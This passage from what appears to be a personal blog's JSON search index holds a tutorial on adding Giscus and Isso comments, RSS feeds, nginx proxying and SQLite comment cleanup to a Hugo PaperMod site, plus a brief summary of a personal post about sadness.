SD4vGu8SaxWVhWPprrBX6OsC\u0026#43;qEzPiksqu2CZCiEM1Lqma194USyjxqctACNDigO K5qILAk8qvmEdDLIFxfYrpOA9qj\u0026#43;aNDG7gJkBOXCqc6hQ3O3Tv5FnVRokzjDk4Qe N9F1UAZO0F2u7dvAUH4GFN90ysyWKJzsQYzIC1aABZxws16mvbgSwNf6\u0026#43;okpky12 VEkutpuGSpUw7Lslhb0Tz2ZEwnjRL/A4p1L3nF8rdlzqLe1ERvk= =VEwz -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/sadness.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/sadness.md.asc gpg --verify sadness.md.asc sadness.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/sadness/","summary":"\u003cp\u003eHonestly, I don\u0026rsquo;t know why I\u0026rsquo;m doing any of this. I really don\u0026rsquo;t.\nI think for me this is a scape from reality.\nA scape from the sad thing that happened earlier this month.\nA scape from feeling used, or let\u0026rsquo;s say abused if you will, and then thrown away.\nJust like a piece of trash.\nIt\u0026rsquo;s been hurting more and more.\nI\u0026rsquo;ve been lying to myself that I don\u0026rsquo;t care.\nThat I\u0026rsquo;ve moved on.\u003c/p\u003e","title":"Sadness"},{"content":" Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.\nLonger story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.\nI\u0026rsquo;ve been wanting to add comment section to my blog for a while. There are a few problems.\nI don\u0026rsquo;t want to get attacked by bots or random people for no reason. I don\u0026rsquo;t want to allow weird things to happen. I don\u0026rsquo;t want to have a database for it. So\u0026hellip; I decided to take a path which is not necesserially the best. It requires a third party to act on your behalf, but it is not as scary as it sounds. According to Github:\nWhat the app can do The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do.\nWhat “Act on your behalf” means That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed.\nDo commenters have alternatives? Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this.\nPrivacy \u0026amp; storage No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings.\nWith the notice out of the way let\u0026rsquo;s dive right in!\nWhy I chose Giscus (instead of Disqus) No ads or trackers (my page weight thanks me). Uses GitHub Discussions (portable, transparent, easy to search). Readers log in with GitHub (no mystery auth popups). In theory you can directly go to the repo\u0026rsquo;s discussion section and comment there! What you need (for your site, not per user) A Hugo site using PaperMod ✅ A GitHub account ✅ A public repository for the discussion threads (I called mine blog-comments) with Discussions enabled ✅ Giscus app installed on that repo ✅ If you like to keep your main site repo clean, use a separate one, e.g. github-username/blog-comments.\n1) Turn on comments with Giscus PaperMod renders a comments.html partial when params.comments = true.\nSo we enable it in config and create the partial.\n1.1 Enable comments globally hugo.toml (snippet)\n[params] comments = true You can still opt out per post with comments = false in front matter.\n1.2 Create the comments partial Create this file in your site (not inside the theme):\nlayouts/partials/comments.html Paste the Giscus embed (swap the placeholders with yours from giscus.app):\n\u0026lt;section id=\u0026#34;comments\u0026#34; class=\u0026#34;giscus\u0026#34;\u0026gt; \u0026lt;script src=\u0026#34;https://giscus.app/client.js\u0026#34; data-repo=\u0026#34;yourname/blog-comments\u0026#34; data-repo-id=\u0026#34;YOUR_REPO_ID\u0026#34; data-category=\u0026#34;Comments\u0026#34; data-category-id=\u0026#34;YOUR_CATEGORY_ID\u0026#34; \u0026lt;!-- Get them from Giscus\u0026#39;s page! --\u0026gt; data-mapping=\u0026#34;pathname\u0026#34; data-strict=\u0026#34;0\u0026#34; data-reactions-enabled=\u0026#34;1\u0026#34; data-emit-metadata=\u0026#34;0\u0026#34; data-input-position=\u0026#34;bottom\u0026#34; data-theme=\u0026#34;preferred_color_scheme\u0026#34; data-lang=\u0026#34;en\u0026#34; data-loading=\u0026#34;lazy\u0026#34; crossorigin=\u0026#34;anonymous\u0026#34; async\u0026gt; \u0026lt;/script\u0026gt; \u0026lt;noscript\u0026gt;Enable JavaScript to view comments powered by Giscus.\u0026lt;/noscript\u0026gt; \u0026lt;/section\u0026gt; Notes\nYou’ll get repo-id and category-id from giscus.app after picking your repo + category. data-mapping=\u0026quot;pathname\u0026quot; works great for static sites. Prefer a public repo so visitors can read discussions without friction. Want a different language? Change data-lang (e.g., de, fr). 2) Enable RSS (home + sections) Hugo already knows how to generate feeds; we just tell it where.\nhugo.toml\nbaseURL = \u0026#34;https://example.com/\u0026#34; # set your production URL [outputs] home = [\u0026#34;HTML\u0026#34;, \u0026#34;RSS\u0026#34;, \u0026#34;JSON\u0026#34;] # JSON is optional (e.g., for on-site search) section = [\u0026#34;HTML\u0026#34;, \u0026#34;RSS\u0026#34;] taxonomy = [\u0026#34;HTML\u0026#34;, \u0026#34;RSS\u0026#34;] term = [\u0026#34;HTML\u0026#34;, \u0026#34;RSS\u0026#34;] [services.rss] limit = -1 # -1 = no cap; or set e.g. 20 Feed URLs\nHome feed: /index.xml → https://example.com/index.xml Section feeds: /posts/index.xml, /notes/index.xml, etc. (folders are lowercase) If you’re using a .onion address or staging domain, just set that in baseURL.\nLocally, Hugo serves feeds at http://localhost:1313/index.xml.\n3) Show an RSS button on the home page PaperMod shows a nice RSS icon on section/taxonomy lists by default (when enabled), but not on the home page. Two options:\nOption A — Use the home “social icons” row This appears if you enable Home-Info or Profile mode:\n[params.homeInfoParams] Title = \u0026#34;Hello, internet!\u0026#34; Content = \u0026#34;Notes, experiments, and occasional rabbit holes.\u0026#34; [[params.socialIcons]] name = \u0026#34;rss\u0026#34; # lowercase matters url = \u0026#34;/index.xml\u0026#34; Option B — Add an icon in the footer (theme-safe) Create:\nlayouts/partials/extend_footer.html Paste:\n\u0026lt;a href=\u0026#34;/index.xml\u0026#34; rel=\u0026#34;alternate\u0026#34; type=\u0026#34;application/rss+xml\u0026#34; title=\u0026#34;RSS\u0026#34; class=\u0026#34;rss-link\u0026#34;\u0026gt; {{ partial \u0026#34;svg.html\u0026#34; (dict \u0026#34;name\u0026#34; \u0026#34;rss\u0026#34;) }} \u0026lt;span\u0026gt;RSS\u0026lt;/span\u0026gt; \u0026lt;/a\u0026gt; Make it a sensible size:\nCreate:\nassets/css/extended/rss.css Paste:\n/* Small \u0026amp; aligned RSS icon in the footer */ .rss-link { display: inline-flex; align-items: center; gap: .35rem; } .rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/ .rss-link span { font-size: .95rem; } PaperMod auto-bundles anything under assets/css/extended/, so no extra imports needed.\n4) Verify everything Build or run dev:\nhugo # outputs to ./public # or hugo server # serves at http://localhost:1313 Check feeds:\n# Home feed: curl -s http://localhost:1313/index.xml | head # A section feed (adjust path to your section name): curl -s http://localhost:1313/posts/index.xml | head Check comments:\nOpen any post locally. Scroll to the bottom — Giscus should appear. Try a reaction or comment (you’ll be prompted to sign in with GitHub). 5) Per-post controls (handy later) Turn comments off for a single post:\n# in that post’s front matter comments = false Full content in RSS (global):\n[params] ShowFullTextinRSS = true Show RSS buttons on section/taxonomy lists:\n[params] ShowRssButtonInSectionTermList = true 6) Troubleshooting (aka “what I bumped into”) Home page has no RSS icon\nThat’s expected; either enable Home-Info/Profile mode + socialIcons, or use the footer partial.\nSection feed 404\nFolder names are lowercase (content/posts/, not content/Posts/).\nThe URL mirrors that: /posts/index.xml.\nGiscus doesn’t create a discussion\nDouble-check the four attributes: data-repo, data-repo-id, data-category, data-category-id.\nMake sure Discussions is enabled and the Giscus app is installed for the repo.\nIcon is comically large\nKeep the CSS above; 16–20px usually looks right.\n7) Bonus: fast setup via GitHub CLI (optional, I didn\u0026rsquo;t use it, but I should\u0026rsquo;ve perhaps) # Create the public comments repo (adjust names) gh repo create yourname/blog-comments --public -d \u0026#34;Blog comment threads\u0026#34; --confirm # Enable Discussions for it gh repo edit yourname/blog-comments --enable-discussions Then visit giscus.app, select the repo + category (e.g. “Comments”), and copy the generated IDs into layouts/partials/comments.html.\nFinal config snapshot (condensed) baseURL = \u0026#34;https://example.com/\u0026#34; theme = \u0026#34;PaperMod\u0026#34; [outputs] home = [\u0026#34;HTML\u0026#34;, \u0026#34;RSS\u0026#34;, \u0026#34;JSON\u0026#34;] section = [\u0026#34;HTML\u0026#34;, \u0026#34;RSS\u0026#34;] taxonomy = [\u0026#34;HTML\u0026#34;, \u0026#34;RSS\u0026#34;] term = [\u0026#34;HTML\u0026#34;, \u0026#34;RSS\u0026#34;] [services.rss] limit = -1 [params] comments = true ShowRssButtonInSectionTermList = true ShowFullTextinRSS = true # Optional if using Home-Info/Profile mode: # [[params.socialIcons]] # name = \u0026#34;rss\u0026#34; # url = \u0026#34;/index.xml\u0026#34; Appendix — Why I added Isso, how I wired it, and what I fixed The story (why Isso + why I still keep Giscus) I wanted comments that:\nallow anonymous replies (no GitHub account required), are lightweight and self-hosted, and can work on my Tor .onion mirror. Isso checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of Giscus (comments are GitHub Discussions), so I kept both and added a little switcher UI: “Anonymous (Isso)” or “GitHub (Giscus)”.\nResult: readers can pick privacy/anon (Isso) or identity/notifications (Giscus).\nHow I run it (high-level) Site: Hugo + PaperMod Isso: listening on 127.0.0.1:8080, stored locally (SQLite) Nginx: reverse-proxies /isso/ to Isso on both the clearnet and the .onion vhost Hugo partial: renders the two panels (Isso \u0026amp; Giscus) and a switcher; Giscus is lazy-loaded and auto-rethemed with the site theme I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the Nginx proxying and the Hugo partial.\nHugo partial: switcher + embeds Save as layouts/partials/comments.html and include it in your single layout (e.g. layouts/_default/single.html) with {{ partial \u0026quot;comments.html\u0026quot; . }}.\n\u0026lt;!-- comments.html --\u0026gt; \u0026lt;div class=\u0026#34;comments-switch\u0026#34; style=\u0026#34;display:flex;gap:.5rem;margin:.5rem 0 1rem;\u0026#34;\u0026gt; \u0026lt;button id=\u0026#34;btn-isso\u0026#34; type=\u0026#34;button\u0026#34; aria-pressed=\u0026#34;true\u0026#34;\u0026gt;Anonymous (Isso)\u0026lt;/button\u0026gt; \u0026lt;button id=\u0026#34;btn-giscus\u0026#34; type=\u0026#34;button\u0026#34; aria-pressed=\u0026#34;false\u0026#34;\u0026gt;GitHub (Giscus)\u0026lt;/button\u0026gt; \u0026lt;a href=\u0026#34;https://github.com/AlipourIm/blog-comments/discussions/categories/comments\u0026#34; target=\u0026#34;_blank\u0026#34; rel=\u0026#34;noopener\u0026#34;\u0026gt;Open on GitHub ↗\u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;!-- Isso panel (default) --\u0026gt; \u0026lt;div id=\u0026#34;panel-isso\u0026#34;\u0026gt; \u0026lt;section id=\u0026#34;isso-thread\u0026#34;\u0026gt;\u0026lt;/section\u0026gt; \u0026lt;script src=\u0026#34;/isso/js/embed.min.js\u0026#34; data-isso=\u0026#34;/isso\u0026#34; data-isso-css=\u0026#34;true\u0026#34; data-isso-lang=\u0026#34;en\u0026#34; data-isso-max-comments-nested=\u0026#34;5\u0026#34; data-isso-sorting=\u0026#34;newest\u0026#34; async\u0026gt; \u0026lt;/script\u0026gt; \u0026lt;small class=\u0026#34;isso-powered\u0026#34; style=\u0026#34;display:block;margin:.5rem 0;color:var(--secondary,#888)\u0026#34;\u0026gt; Comments powered by \u0026lt;a href=\u0026#34;https://isso-comments.de\u0026#34; target=\u0026#34;_blank\u0026#34; rel=\u0026#34;noopener\u0026#34;\u0026gt;Isso\u0026lt;/a\u0026gt; \u0026lt;/small\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;!-- Giscus panel (lazy-loaded on click) --\u0026gt; \u0026lt;div id=\u0026#34;panel-giscus\u0026#34; style=\u0026#34;display:none\u0026#34;\u0026gt; \u0026lt;section id=\u0026#34;giscus-thread\u0026#34;\u0026gt;\u0026lt;/section\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; (function () { const panelIsso = document.getElementById(\u0026#39;panel-isso\u0026#39;); const panelGisc = document.getElementById(\u0026#39;panel-giscus\u0026#39;); const issoBtn = document.getElementById(\u0026#39;btn-isso\u0026#39;); const giscBtn = document.getElementById(\u0026#39;btn-giscus\u0026#39;); let gLoaded = false; function isDark() { // 1) explicit PaperMod preference const pref = localStorage.getItem(\u0026#39;pref-theme\u0026#39;); if (pref === \u0026#39;dark\u0026#39;) return true; if (pref === \u0026#39;light\u0026#39;) return false; // 2) page state (classes / data-theme) const H = document.documentElement, B = document.body; const hasDark = H.classList.contains(\u0026#39;dark\u0026#39;) || B.classList.contains(\u0026#39;dark\u0026#39;) || H.dataset.theme === \u0026#39;dark\u0026#39; || B.dataset.theme === \u0026#39;dark\u0026#39; || H.classList.contains(\u0026#39;theme-dark\u0026#39;) || B.classList.contains(\u0026#39;theme-dark\u0026#39;); if (hasDark) return true; // 3) OS preference return window.matchMedia \u0026amp;\u0026amp; window.matchMedia(\u0026#39;(prefers-color-scheme: dark)\u0026#39;).matches; } const gTheme = () =\u0026gt; (isDark() ? \u0026#39;dark_dimmed\u0026#39; : \u0026#39;noborder_light\u0026#39;); function loadGiscus() { if (gLoaded) return; const s = document.createElement(\u0026#39;script\u0026#39;); s.src = \u0026#39;https://giscus.app/client.js\u0026#39;; s.async = true; s.crossOrigin = \u0026#39;anonymous\u0026#39;; s.setAttribute(\u0026#39;data-repo\u0026#39;,\u0026#39;AlipourIm/blog-comments\u0026#39;); s.setAttribute(\u0026#39;data-repo-id\u0026#39;,\u0026#39;R_kgDOQGARyA\u0026#39;); s.setAttribute(\u0026#39;data-category\u0026#39;,\u0026#39;Comments\u0026#39;); s.setAttribute(\u0026#39;data-category-id\u0026#39;,\u0026#39;DIC_kwDOQGARyM4Cw3x-\u0026#39;); s.setAttribute(\u0026#39;data-mapping\u0026#39;,\u0026#39;pathname\u0026#39;); s.setAttribute(\u0026#39;data-strict\u0026#39;,\u0026#39;0\u0026#39;); s.setAttribute(\u0026#39;data-reactions-enabled\u0026#39;,\u0026#39;1\u0026#39;); s.setAttribute(\u0026#39;data-emit-metadata\u0026#39;,\u0026#39;0\u0026#39;); s.setAttribute(\u0026#39;data-input-position\u0026#39;,\u0026#39;bottom\u0026#39;); s.setAttribute(\u0026#39;data-lang\u0026#39;,\u0026#39;en\u0026#39;); s.setAttribute(\u0026#39;data-theme\u0026#39;, gTheme()); // initial theme document.getElementById(\u0026#39;giscus-thread\u0026#39;).appendChild(s); // Retheme once iframe exists const reTheme = () =\u0026gt; { const iframe = document.querySelector(\u0026#39;iframe.giscus-frame\u0026#39;); if (!iframe) return; iframe.contentWindow?.postMessage( { giscus: { setConfig: { theme: gTheme() } } }, \u0026#39;https://giscus.app\u0026#39; ); }; // PaperMod toggle button document.getElementById(\u0026#39;theme-toggle\u0026#39;)?.addEventListener(\u0026#39;click\u0026#39;, () =\u0026gt; setTimeout(reTheme, 0) ); // Also react to attribute changes const mo = new MutationObserver(reTheme); mo.observe(document.documentElement, { attributes: true, attributeFilter: [\u0026#39;class\u0026#39;,\u0026#39;data-theme\u0026#39;] }); mo.observe(document.body, { attributes: true, attributeFilter: [\u0026#39;class\u0026#39;,\u0026#39;data-theme\u0026#39;] }); gLoaded = true; } function show(which) { const showIsso = which === \u0026#39;isso\u0026#39;; panelIsso.style.display = showIsso ? \u0026#39;block\u0026#39; : \u0026#39;none\u0026#39;; panelGisc.style.display = showIsso ? \u0026#39;none\u0026#39; : \u0026#39;block\u0026#39;; issoBtn?.setAttribute(\u0026#39;aria-pressed\u0026#39;, showIsso); giscBtn?.setAttribute(\u0026#39;aria-pressed\u0026#39;, !showIsso); if (!showIsso) loadGiscus(); } issoBtn?.addEventListener(\u0026#39;click\u0026#39;, e =\u0026gt; { e.preventDefault(); show(\u0026#39;isso\u0026#39;); }); giscBtn?.addEventListener(\u0026#39;click\u0026#39;, e =\u0026gt; { e.preventDefault(); show(\u0026#39;giscus\u0026#39;); }); // default show(\u0026#39;isso\u0026#39;); })(); \u0026lt;/script\u0026gt; Nginx: proxy Isso on both sites (and avoid the 404-onion trap) The bug I hit: my .onion server had a regex static block that won over the plain /isso/ location, so /isso/js/embed.min.js returned 404.\nFix: make /isso/ a ^~ prefix location so it beats regex, and place it above the static block.\n# /etc/nginx/sites-enabled/onion-blog (same idea for the clearnet vhost) server { listen 127.0.0.1:3301 default_server; server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost; add_header Referrer-Policy no-referrer always; add_header X-Content-Type-Options nosniff always; add_header X-Frame-Options SAMEORIGIN always; root /srv/hugo/mysite/public-onion; index index.html; location / { try_files $uri $uri/ /index.html; } # /isso -\u0026gt; /isso/ location = /isso { return 301 /isso/; } # IMPORTANT: this must beat regex locations below location ^~ /isso/ { proxy_pass http://127.0.0.1:8080/; # Isso container/port proxy_http_version 1.1; proxy_set_header Host $host; proxy_set_header X-Forwarded-Host $host; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_redirect off; proxy_read_timeout 60s; } # static location ~* \\\\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ { access_log off; add_header Cache-Control \u0026#34;public, max-age=31536000, immutable\u0026#34;; try_files $uri =404; } } Reload and smoke test:\nsudo nginx -t \u0026amp;\u0026amp; sudo systemctl reload nginx curl -I http://\u0026lt;your-onion-host\u0026gt;/isso/js/embed.min.js # expect 200 If you ever point data-isso to a different origin, add CORS headers on that vhost. For same-origin (data-isso=\u0026quot;/isso\u0026quot;), you don’t need CORS.\nSmall CSS tweaks (one color across light/dark + spacing) I wanted the same blue for reply / edit / delete links and for Submit / Preview buttons, in both themes, and a little spacing:\n/* put this in your site CSS */ :root { --btn-blue: #2563eb; } /* adjust to taste */ /* Isso form buttons */ .isso-post-action input[type=\u0026#34;submit\u0026#34;], .isso-post-action input[name=\u0026#34;preview\u0026#34;] { background: var(--btn-blue) !important; color: #fff !important; border: none; padding: .5rem .75rem; border-radius: .4rem; cursor: pointer; } /* link actions under comments */ .isso-comment-footer a { color: var(--btn-blue) !important; margin-right: .5rem; /* gives \u0026#34;edit\u0026#34; and \u0026#34;delete\u0026#34; some breathing room */ text-decoration: none; } .isso-comment-footer a:hover { text-decoration: underline; } /* keep name/email/website stacked, slightly larger */ .isso-auth-section .isso-input-wrapper { display: block; margin: .35rem 0; } .isso-auth-section label { font-size: .95rem; } .isso-auth-section input[type=\u0026#34;text\u0026#34;], .isso-auth-section input[type=\u0026#34;email\u0026#34;], .isso-auth-section input[type=\u0026#34;url\u0026#34;] { width: 100%; font-size: 1rem; padding: .5rem .6rem; } What changed (the fixes I actually made) Theme correctness for Giscus.\nPaperMod doesn’t add .light—it only toggles .dark and stores pref-theme. I now:\nread localStorage.pref-theme first, fall back to class/data-theme, then fall back to OS preference.\nI also re-theme the Giscus iframe on every toggle via postMessage. Isso over Tor.\nOn the .onion vhost, I moved the proxy to a ^~ /isso/ block so it beats the static regex. That fixed the 404 on /isso/js/embed.min.js.\nUI polish.\nUnified button/link color across themes, ensured “edit”/“delete” aren’t touching, kept the author/email/website inputs stacked, and left Submit/Preview styled and grouped. Sanity check Toggle the theme: Giscus switches between noborder_light and dark_dimmed without reload. Open DevTools → Network on onion: /isso/js/embed.min.js loads with 200. Switcher buttons swap panels instantly; Giscus only loads when clicked. 8) Final notes! I could not fully fix the style of Isso. CSS is not easy\u0026hellip; drat!\nI don\u0026rsquo;t think anyone actually reads the blog, let alone comment on it. But it felt cool to have a comment section and also RSS for it. I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I\u0026rsquo;m happy with it! ^^\nAdmin note — Delete all Isso comments for a single post This note is for future me: how to remove every comment tied to one post in Isso.\nTested with SQLite-backed Isso (default). Works whether you serve via clearnet or .onion — because this operates directly on the database.\nTL;DR (host with SQLite) Replace the placeholders for DB and POST_URI first.\n# 0) Variables — edit these two lines for your setup DB=\u0026#34;/var/lib/isso/comments.db\u0026#34; # path to your Isso SQLite DB (check isso.conf: [general] dbpath) POST_URI=\u0026#34;/posts/skin_routine/\u0026#34; # the post\u0026#39;s URI as stored by Isso (often just the path) # 1) Backup (always do this!) sqlite3 \u0026#34;$DB\u0026#34; \u0026#34;.backup \u0026#39;$(dirname \u0026#34;$DB\u0026#34;)/comments.$(date +%F-%H%M%S).backup.sqlite3\u0026#39;\u0026#34; # 2) Inspect: find the thread row and preview the comments sqlite3 \u0026#34;$DB\u0026#34; \u0026#34; .headers on .mode column SELECT id, uri FROM threads WHERE uri LIKE \u0026#39;%\u0026#39; || \u0026#39;$POST_URI\u0026#39; || \u0026#39;%\u0026#39;; SELECT id, tid, created, author, text FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE \u0026#39;%\u0026#39; || \u0026#39;$POST_URI\u0026#39; || \u0026#39;%\u0026#39;) ORDER BY created DESC LIMIT 25; \u0026#34; # 3) Delete all comments for that post (thread) sqlite3 \u0026#34;$DB\u0026#34; \u0026#34; DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE \u0026#39;%\u0026#39; || \u0026#39;$POST_URI\u0026#39; || \u0026#39;%\u0026#39;); \u0026#34; # 4) (Optional) Remove the now-empty thread row too sqlite3 \u0026#34;$DB\u0026#34; \u0026#34; DELETE FROM threads WHERE uri LIKE \u0026#39;%\u0026#39; || \u0026#39;$POST_URI\u0026#39; || \u0026#39;%\u0026#39;; VACUUM; \u0026#34; # 5) Done. Isso usually picks this up automatically. # If you\u0026#39;re containerized and want to be safe: # docker restart \u0026lt;isso_container_name\u0026gt; If running Isso in Docker Open a shell in the container, then run the same steps:\ndocker exec -it \u0026lt;isso_container_name\u0026gt; /bin/sh # Inside the container: DB=\u0026#34;/db/comments.db\u0026#34; # or /data/comments.db, check your image/volume mapping POST_URI=\u0026#34;/posts/skin_routine/\u0026#34; sqlite3 \u0026#34;$DB\u0026#34; \u0026#34;.backup \u0026#39;/db/comments.$(date +%F-%H%M%S).backup.sqlite3\u0026#39;\u0026#34; sqlite3 \u0026#34;$DB\u0026#34; \u0026#34;SELECT id, uri FROM threads WHERE uri LIKE \u0026#39;%\u0026#39; || \u0026#39;$POST_URI\u0026#39; || \u0026#39;%\u0026#39;;\u0026#34; sqlite3 \u0026#34;$DB\u0026#34; \u0026#34;DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE \u0026#39;%\u0026#39; || \u0026#39;$POST_URI\u0026#39; || \u0026#39;%\u0026#39;);\u0026#34; sqlite3 \u0026#34;$DB\u0026#34; \u0026#34;DELETE FROM threads WHERE uri LIKE \u0026#39;%\u0026#39; || \u0026#39;$POST_URI\u0026#39; || \u0026#39;%\u0026#39;; VACUUM;\u0026#34; exit # Optionally restart the container: docker restart \u0026lt;isso_container_name\u0026gt; Notes \u0026amp; gotchas Find the real DB path: In isso.conf (often /etc/isso/isso.conf or within your container at /config/isso.conf), look for: [general] dbpath = /var/lib/isso/comments.db What goes in POST_URI? Isso stores a uri string per thread. With the default embed config, it\u0026rsquo;s usually the path (/posts/\u0026lt;slug\u0026gt;/). If you’re unsure, list recent threads: sqlite3 \u0026#34;$DB\u0026#34; \u0026#34;.headers on\u0026#34; \u0026#34;.mode column\u0026#34; \u0026#34;SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;\u0026#34; Clearnet vs .onion: If you load the same post under multiple origins and your embed setup stores full origins, you may have multiple thread rows. The LIKE query above deliberately matches any uri containing your POST_URI to catch those. Rollback: To undo, stop Isso (optional), replace the DB with your backup (comments.YYYY-MM-DD-HHMMSS.backup.sqlite3), and start Isso again. HTTP API option: Isso supports DELETE /\u0026lt;comment_id\u0026gt; if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly. Safety: Always run a backup first, and preview with the SELECT before you run the DELETE. One-liners for the impatient DB=\u0026#34;/var/lib/isso/comments.db\u0026#34;; POST_URI=\u0026#34;/posts/skin_routine/\u0026#34; sqlite3 \u0026#34;$DB\u0026#34; \u0026#34;.backup \u0026#39;$(dirname \u0026#34;$DB\u0026#34;)/comments.$(date +%F-%H%M%S).backup.sqlite3\u0026#39;\u0026#34; sqlite3 \u0026#34;$DB\u0026#34; \u0026#34;DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE \u0026#39;%\u0026#39; || \u0026#39;$POST_URI\u0026#39; || \u0026#39;%\u0026#39;);\u0026#34; sqlite3 \u0026#34;$DB\u0026#34; \u0026#34;DELETE FROM threads WHERE uri LIKE \u0026#39;%\u0026#39; || \u0026#39;$POST_URI\u0026#39; || \u0026#39;%\u0026#39;; VACUUM;\u0026#34; Isso container: quick checks \u0026amp; fixes for future me! (thank past me later ^^)\nFind the container\ndocker ps -a --format \u0026#39;table {{.ID}}\t{{.Names}}\t{{.Status}}\t{{.Ports}}\u0026#39; | grep -i isso Inspect basic state\ndocker inspect -f \u0026#39;Name={{.Name}} Running={{.State.Running}} Status={{.State.Status}} StartedAt={{.State.StartedAt}} FinishedAt={{.State.FinishedAt}}\u0026#39; isso Logs\ndocker logs --tail=200 isso docker logs -f isso Ports \u0026amp; reachability\ndocker port isso sudo ss -ltnp | grep \u0026#39;:8080 \u0026#39; curl -i http://127.0.0.1:8080/ Restart policy (keep it running)\ndocker inspect -f \u0026#39;{{.HostConfig.RestartPolicy.Name}}\u0026#39; isso docker update --restart unless-stopped isso Start/stop the container\ndocker start isso docker stop isso Who/what stopped it (events)\ndocker events --since 24h --filter container=isso Common config issue: duplicate options/sections If logs show DuplicateOptionError or DuplicateSectionError, fix /config/isso.cfg (remove duplicate [server] blocks or duplicate public-endpoint).\nnl -ba /config/isso.cfg | sed -n \u0026#39;1,120p\u0026#39; grep -n \u0026#39;^\\[server\\]\u0026#39; /config/isso.cfg grep -n \u0026#39;^public-endpoint\u0026#39; /config/isso.cfg Using Docker Compose (run these in the directory with your compose file)\ndocker compose ps docker compose logs --tail=200 isso docker compose up -d isso If the container doesn’t exist (create/recreate)\ndocker image ls | grep -i isso docker run -d --name isso -p 8080:8080 -v /srv/isso/config:/config -v /srv/isso/db:/db --restart unless-stopped ghcr.io/posativ/isso:latest Optional: exclude from auto-updaters (like Watchtower)\ndocker update --label-add com.centurylinklabs.watchtower.enable=false isso This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM jSr2VxAAgdHpf\u0026#43;4EIx2ASmSB\u0026#43;MeAHp7s1\u0026#43;2EPhmn96QuhiQO9Dr1e9250LbF/R8S A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB dcG3GVLuMSRgNmyolhFoSWn46aa\u0026#43;3wZGrzYZQVUt8op\u0026#43;2fVp36agq2YoB4zeGKSm Ri43rO/kTingD0bclOA\u0026#43;SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo\u0026#43;gB6jY EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3\u0026#43;xSXSH W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK\u0026#43;szOmASy8fFP7gCOcCRATtb eNIFtiAlRXI0CqJdeq5fE9b\u0026#43;LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM KycaNwsLBHPZWV\u0026#43;jDon8NEzYQk07n1Q9rlEWdL0egvn2S\u0026#43;pYnvLZbfi5dRhe\u0026#43;ciC qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA= =9k\u0026#43;S -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/new_features.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/new_features.md.asc gpg --verify new_features.md.asc new_features.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/comments-rss-papermod/","summary":"\u003cblockquote\u003e\n\u003cp\u003eShort story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.\u003cbr\u003e\nLonger story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.\u003c/p\u003e\u003c/blockquote\u003e\n\u003chr\u003e\n\u003cp\u003eI\u0026rsquo;ve been wanting to add comment section to my blog for a while.\nThere are a few problems.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eI don\u0026rsquo;t want to get attacked by bots or random people for no reason.\u003c/li\u003e\n\u003cli\u003eI don\u0026rsquo;t want to allow weird things to 